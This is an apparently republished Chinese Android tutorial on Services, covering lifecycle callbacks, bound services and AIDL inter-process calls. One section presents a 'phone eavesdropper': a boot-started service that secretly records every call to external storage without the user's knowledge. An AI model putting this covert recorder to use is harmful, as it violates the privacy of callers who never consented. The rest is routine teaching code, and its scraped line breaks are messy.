码迷,mamicode.com
首页 > 移动开发 > 详细

android开发 - Service服务

时间:2015-04-07 10:05:03      阅读:190      评论:0      收藏:0      [点我收藏+]

标签:android   android开发   

技术分享



Service没有UI,因为service是后台运行


如:下载,网络I/O 等等


Service的生命周期
    从它被创建开始,到它被销毁为止,


    onCreate();
    onStartCommand();
    onBind();
    onUnbind();
    onRebind();
    onDestroy();
    
一般分为三种方式


第一种:
    当采用Context.startService()方法启动服务,与之有关


的生命周期方法
    onCreate() -> onStartCommand() -> onDestroy()
    
    onCreate()该方法在服务被创建时调用,该方法只会被调


用一次,无论调用多少次startService()或bindService()方


法,服务也只被创建一次
    onStart() 只有采用Context.startService()方法启动服


务时才会调用该方法,该方法在服务开始运行时被调用,多次


调用startService()方法尽管不会多次创建服务,但onStart


()方法会被多次调用
    onDestroy()该方法在服务被终止时调用


第二种:
    当采用Context.bindService()方法启动服务,与之有关


的生命周期方法
    onCreate() -> onBind() -> onUnbind() -> onDestroy


()
    onBind() 只有采用Context.bindService()方法启动服务


时才会回调该方法,该方法在调用者与服务绑定时被盗用,当


调用者与服务已经绑定,多次调用,Context.bindService()方


法并不会导致该方法被多次调用。
    onUnbind()只有采用Context.bindService()方法启动服


务时才会回调该方法,该方法在调用者与服务解除绑定时被调


用。


第三种:混合启动绑定服务
   如果先采用startService()方法启动服务,然后调用


bindService方法绑定到服务,在调用unbindService()方法


解除绑定,最后调用bindService()方法再次绑定到服务,触


发的生命周I方法如下:
  onCreate() -> 
  onStartCommand() -> 
  onBind() ->  onUnbind()[重载后的方法需返回true]    


-> 
  onRebind()       






采用Service实现电话窃听器


1.新建一个类继承Service
  /*
 * 采用Service实现电话窃听器
 */
public class PersonService extends Service {


// 该方法只会被调用一次
@Override
public void onCreate() {
super.onCreate();
// 取得电话管理服务
TelephonyManager telephonyManager = 


(TelephonyManager) getSystemService


(Context.TELEPHONY_SERVICE);
telephonyManager.listen(new 


PhoneListener(),



PhoneStateListener.LISTEN_CALL_STATE);


}


// 电话监听器
private final class PhoneListener extends 


PhoneStateListener {
private String incomingNumberString;
private MediaRecorder mediaRecorder;
private File file;


@Override
public void onCallStateChanged(int 


state, String incomingNumber) {
switch (state) {
// 来电
case 


TelephonyManager.CALL_STATE_RINGING:



this.incomingNumberString = incomingNumber;


break;
// 接通电话
case 


TelephonyManager.CALL_STATE_OFFHOOK:
try {
file = new 


File(Environment.getExternalStorageDirectory(),



incomingNumber + System.currentTimeMillis());
mediaRecorder 


= new MediaRecorder();



mediaRecorder.setAudioSource


(MediaRecorder.AudioSource.MIC);
mediaRecorder



.setOutputFormat


(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder



.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);



mediaRecorder.setOutputFile(file.getAbsolutePath());



mediaRecorder.prepare();// 准备



mediaRecorder.start();// 开始录音
} catch (IOException 


e) {
}
break;
// 挂断电话回归到空闲状态
case 


TelephonyManager.CALL_STATE_IDLE:
if (mediaRecorder != 


null) {



mediaRecorder.stop();



mediaRecorder.release();
mediaRecorder 


= null;
}
break;
}
}
}


@Override
public IBinder onBind(Intent intent) { 
return null;

}      


2.配置清单文件
  <service android:name=".MyService" />


3.服务是不能自己运行的是需要调用启动服务
  比如说,开机启动,那么需要使用广播接收者,
  然后从广播启动服务


  开机启动的广播接收者配置
  <receiver 


android:name="com.example.service_demo.broadcast.MyBro


adcast">
     <intent-filter>
          <action 


android:name="android.intent.action.BOOT_COMPLETED"  


/>
     </intent-filter>
  <receiver>


  代码:
  public class MyBroadcast extends BroadcastReceiver {


@Override
public void onReceive(Context context, Intent 


intent) {
context.startService(new Intent


(context,MyService.class)); 
}
}






4.配置必要的权限
      <!-- 电话状态读取权限 -->
    <uses-permission 


android:name="android.permission.READ_PHONE_STATE" />
    <!-- SDCARD写权限 -->
    <uses-permission 


android:name="android.permission.WRITE_EXTERNAL_STORAG


E" />
    <!-- SDCARD中创建和删除文件权限 -->
    <uses-permission 


android:name="android.permission.MOUNT_UNMOUNT_FILESYS


TEMS" /> 
    <!-- 网络权限 -->
    <uses-permission 


android:name="android.permission.INTERNET" />
    <!-- 刻录声音的权限 -->
    <uses-permission 


android:name="android.permission.RECORD_AUDIO" />  




5.现在就可以启动了
  然后打电话就会被录音


  现在服务是在系统中启动了,但是怎么停止了?
  如果不显示关闭服务,而是由系统自己来关闭,就是当内存 


 不够时,先终结掉后台继承,如果后台进程还不够,那么就  


 需要结束掉服务进程
  
  手动调用关闭服务是
   Context.stopService(); 


















建立能与访问者进行相互通信的本地服务


通过startService()和stopService()启动关闭服务,适用于


服务和访问者之间没有交互的情况


如果服务和访问者之间需要方法调用或者传递参数,则需要使


用bindService()和unbindServie()方法启动关闭服务


采用Context.bindService()方法启动服务,在服务未被创建


时,系统会先调用服务的onCreate()方法,接着调用onBind()


方法,这个时候访问者和服务绑定在一起,如果访问者要与服


务进行通信,那么,onBind()方法必须返回IBinder对象,


如果访问者退出了,系统就会先调用服务器的onUnbind(),接


着调用onDestroy()方法,如果调用bindService()方法前服务


已经被绑定多次调用bindService()方法并不会导致多次创


建服务及绑定(也就是说onCreate()和onBind()方法并不会被


多次调用),


如果访问者希望与正在绑定的服务解除绑定,可以调用


unbindService()方法,调用该方法也会导致调用系统的


unbind()   ->   onDestroy()






访问者调用服务中的方法


1.当我们启动调用bindService()时,系统会调用Service类的


onBind()方法 ,返回IBinder对象,所以我们创建一个内部类


继承自Binder,并且声明一个全局IBinder对象,返回Binder对


象的实例


2.创建一个继承service的类
  
 /*
 * 绑定服务的过程是:客户启动服务,服务返回一个IBinder


对象
 * 由于IBinder是一个接口,所以我们需要自定一个类继承


Binder对象,然后把这个类的实例对象给接口对象
 * 在将这个接口对象给返回
 */
public class MyService extends Service {


private String[] nameStrings = {"小明","小


王","夏利","校长"};

private IBinder binder = new StudentBinder();

public String query(int id){
if(id > 0 && id < 4){
return nameStrings[id-1];
}
return null;
}

@Override
public IBinder onBind(Intent intent) { 
return binder;
}

private class StudentBinder extends Binder 


implements IStudent{
public String queryStudent(int id){
return query(id);
}

}


3.创建一个接口
  public interface IStudent {
String queryStudent(int id);
}


4.在Activity中调用
  
public class MainActivity extends Activity {


private ServiceConnection conn= new 


StudentServiceConnection();
private IStudent iStudent;

    @Override
    protected void onCreate(Bundle savedInstanceState) 


{
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        final TextView tv = (TextView)


this.findViewById(R.id.textview);
        final EditText txt = (EditText)


this.findViewById(R.id.editText);
        this.findViewById


(R.id.button).setOnClickListener(new 


View.OnClickListener() {
@Override
public void onClick(View v) { 
String text = 


iStudent.queryStudent(Integer.valueOf(txt.getText


().toString()));
tv.setText(text);
}
});
        
        
        
        
        Intent service = new Intent


(this,MyService.class);
        bindService(service, conn, BIND_AUTO_CREATE);
    } 
    
    private class StudentServiceConnection implements 


ServiceConnection{
@Override
public void onServiceConnected


(ComponentName name, IBinder service) {
iStudent = (IStudent)service;

 
@Override
public void onServiceDisconnected


(ComponentName name) {
iStudent = null;

    }
    
    @Override
    protected void onDestroy() {
    //当activity被摧毁时注销绑定
    unbindService(conn);
    super.onDestroy();
    }
}






这种服务就类似QQ中的发送一条消息,需要经过这样的服务过



当然,发送UDP信息,没有写,这里只是讲绑定服务需要执行


的过程






























使用AIDL和远程服务实现进程通信


AIDL就是进程间通信


Android Interface Definition Language


AIDL是一种接口定义语言,用于约束两个进程间的通讯规则,
供编译器生成代码








1.新建一个项目 作为服务端
  新建一个接口,并且把这个.java文件格式改成.aidl
  并且不能有访问修饰符
  刷新项目,在gen下会生成一个文件,不过这里的文件不需


要我们来改,系统自动生成的


2.现在创建一个服务
  代码
  public class queryStudentService extends Service {
private IBinder binder = new 


StudentQueryBinder();
private String[] str = {"小王","呵呵","哈哈"};
public String query(int id){
return str[id];
}

@Override
public IBinder onBind(Intent intent) {
 
return binder;
}

private final class StudentQueryBinder extends 


StudentQuery.Stub{


@Override
public String queryStudent(int number) 


throws RemoteException {
return query(number);


    }
    
    配置文件
    <service 


android:name="com.example.android_remote_aidl.service.


queryStudentServic">
            <intent-filter><action 


android:name="com.enenya.service.queryStudentService"/


></intent-filter>
        </service>


  
3.写一个客户端
  把服务端的那个aidl包复制到客户端项目中来
  public class MainActivity extends Activity {


    private ServiceConnection conn = new 


StudentServiceConnection();
private StudentQuery studentQuery;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) 


{
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    
        
        final TextView tv = (TextView)


this.findViewById(R.id.textview);
        final EditText editText = (EditText) 


this.findViewById(R.id.edittext);
        this.findViewById


(R.id.button).setOnClickListener(new 


View.OnClickListener(){
@Override
public void onClick(View v) {
try {
String aString 


= studentQuery.queryStudent(Integer.valueOf


(editText.getText().toString()));
tv.setText


(aString);
} catch 


(NumberFormatException e) {
// TODO Auto-


generated catch block



e.printStackTrace();
} catch 


(RemoteException e) {
// TODO Auto-


generated catch block



e.printStackTrace();
}


}
        });
        
        
        Intent service = new Intent


("com.enenya.service.queryStudentService");
        bindService(service, conn, BIND_AUTO_CREATE);
    }


    private class StudentServiceConnection implements 


ServiceConnection{


@Override
public void onServiceConnected


(ComponentName name, IBinder service) {
studentQuery = 


StudentQuery.Stub.asInterface(service);
}


@Override
public void onServiceDisconnected


(ComponentName name) {
studentQuery = null;
}
    }
    
    @Override
    protected void onDestroy() {
    unbindService(conn);
    super.onDestroy();
    }
    
    
}










































android开发 - Service服务

标签:android   android开发   

原文地址:http://blog.csdn.net/u013538542/article/details/44904709

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!